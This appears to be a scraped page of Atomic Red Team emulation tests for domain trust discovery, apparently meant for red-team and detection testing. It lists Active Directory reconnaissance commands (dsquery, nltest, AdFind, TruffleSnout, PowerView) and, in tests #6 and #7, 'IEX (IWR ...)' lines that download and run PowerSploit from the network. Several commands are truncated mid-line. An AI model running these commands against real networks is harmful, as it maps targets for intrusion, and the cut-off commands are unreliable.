

T1037.001
 T1037.002
 T1037.004
 T1037.005
 T1039

T1040

auto_generated_guid: 4700a710-c821-4e17-a3ec-9e4c81d6845f

Attack Commands: Run with command_prompt!

dsquery * -filter "(objectClass=trustedDomain)" -attr *

Atomic Test #2 - Windows - Discover domain trusts with nltest

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Uses the nltest command to discover domain trusts. Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role. This technique has been used by the Trickbot malware family.

Supported Platforms: Windows

auto_generated_guid: 2e22641d-0498-48d2-b9ff-c71e496ccdbe

Attack Commands: Run with command_prompt!

nltest /domain_trusts

Dependencies: Run with command_prompt!

Description: nltest.exe from RSAT must be present on disk

Check Prereq Commands:

WHERE nltest.exe >NUL 2>&1

Get Prereq Commands:

echo Sorry RSAT must be installed manually

Atomic Test #3 - Powershell enumerate domains and forests

Use powershell to enumerate AD information. Requires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.

Supported Platforms: Windows

auto_generated_guid: c58fbc62-8a62-489e-8f2d-3565d7d96f30

Attack Commands: Run with powershell!

Import-Module "\$env:TEMP\PowerView.ps1"
Get-NetDomainTrust
Get-NetForestTrust
Get-ADDomain
Get-ADGroupMember Administrators -Recursive

Dependencies: Run with powershell!

Description: PowerView PowerShell script must exist on disk

Check Prereq Commands:

if (Test-Path \$env:TEMP\PowerView.ps1) {exit 0} else {exit 1}

Get Prereq Commands:

Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/Pow

Description: RSAT PowerShell AD admin cmdlets must be installed

Check Prereq Commands:

if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And (Get-Command " 🚨

Get Prereq Commands:

Write-Host "Sorry RSAT must be installed manually"

Atomic Test #4 - Adfind - Enumerate Active Directory OUs

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs reference-https://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

auto_generated_guid: d1c73b96-ab87-4031-bad8-0e1b3b8bf3ec

Inputs:

Name	Description	Туре	Default Value
adfind_path	Path to the AdFind executable	Path	PathToAtomicsFolder\T1087.002\src\AdFind.exe

Attack Commands: Run with command_prompt!

#{adfind_path} -f (objectcategory=organizationalUnit)

Dependencies: Run with powershell!

Description: AdFind.exe must exist on disk at specified location (#{adfind_path})

Check Prereq Commands:

if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

Get Prereq Commands:

Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/r

Atomic Test #5 - Adfind - Enumerate Active Directory Trusts

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6intrusion.html

Supported Platforms: Windows

auto_generated_guid: 15fe436d-e771-4ff3-b655-2dca9ba52834

Inputs:

Name	Description	Туре	Default Value
adfind_path	Path to the AdFind executable	Path	PathToAtomicsFolder\T1087.002\src\AdFind.exe

Attack Commands: Run with command_prompt!

#{adfind_path} -gcb -sc trustdmp

Q

Dependencies: Run with powershell!

Description: AdFind.exe must exist on disk at specified location (#{adfind_path})

Check Prereq Commands:

if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

Q

Get Prereq Commands:

Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/r

Atomic Test #6 - Get-DomainTrust with PowerView

Utilizing PowerView, run Get-DomainTrust to identify domain trusts. Upon execution, progress and info about trusts within the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: f974894c-5991-4b19-aaf5-7cc2fe298c5d

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType] IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/

Atomic Test #7 - Get-ForestTrust with PowerView

Utilizing PowerView, run Get-ForestTrust to identify forest trusts. Upon execution, progress and info about forest trusts within the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: 58ed10e8-0738-4651-8408-3a3e9a526279

Attack Commands: Run with powershell!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/
```

Atomic Test #8 - TruffleSnout - Listing AD Infrastructure

Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout

Supported Platforms: Windows

auto_generated_guid: ea1b4f2d-5b82-4006-b64f-f2845608a3bf

Inputs:

Name	Description	Type	Default Value
trufflesnout_path	Path to the TruffleSnout executable	Path	PathToAtomicsFolder\T1482\src\TruffleSno
domain	Domain name to search on	String	%userdomain%

Attack Commands: Run with command_prompt!

```
#{trufflesnout_path} forest -n #{domain}
#{trufflesnout_path} domain -n #{domain}
```

Dependencies: Run with powershell!

Description: TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})

Check Prereq Commands:

```
if (Test-Path #{trufflesnout_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -ItemType Directory (Split-Path #{trufflesnout_path}) -Force | Invoke-WebRequest -Uri "https://github.com/dsnezhkov/TruffleSnout/releas
```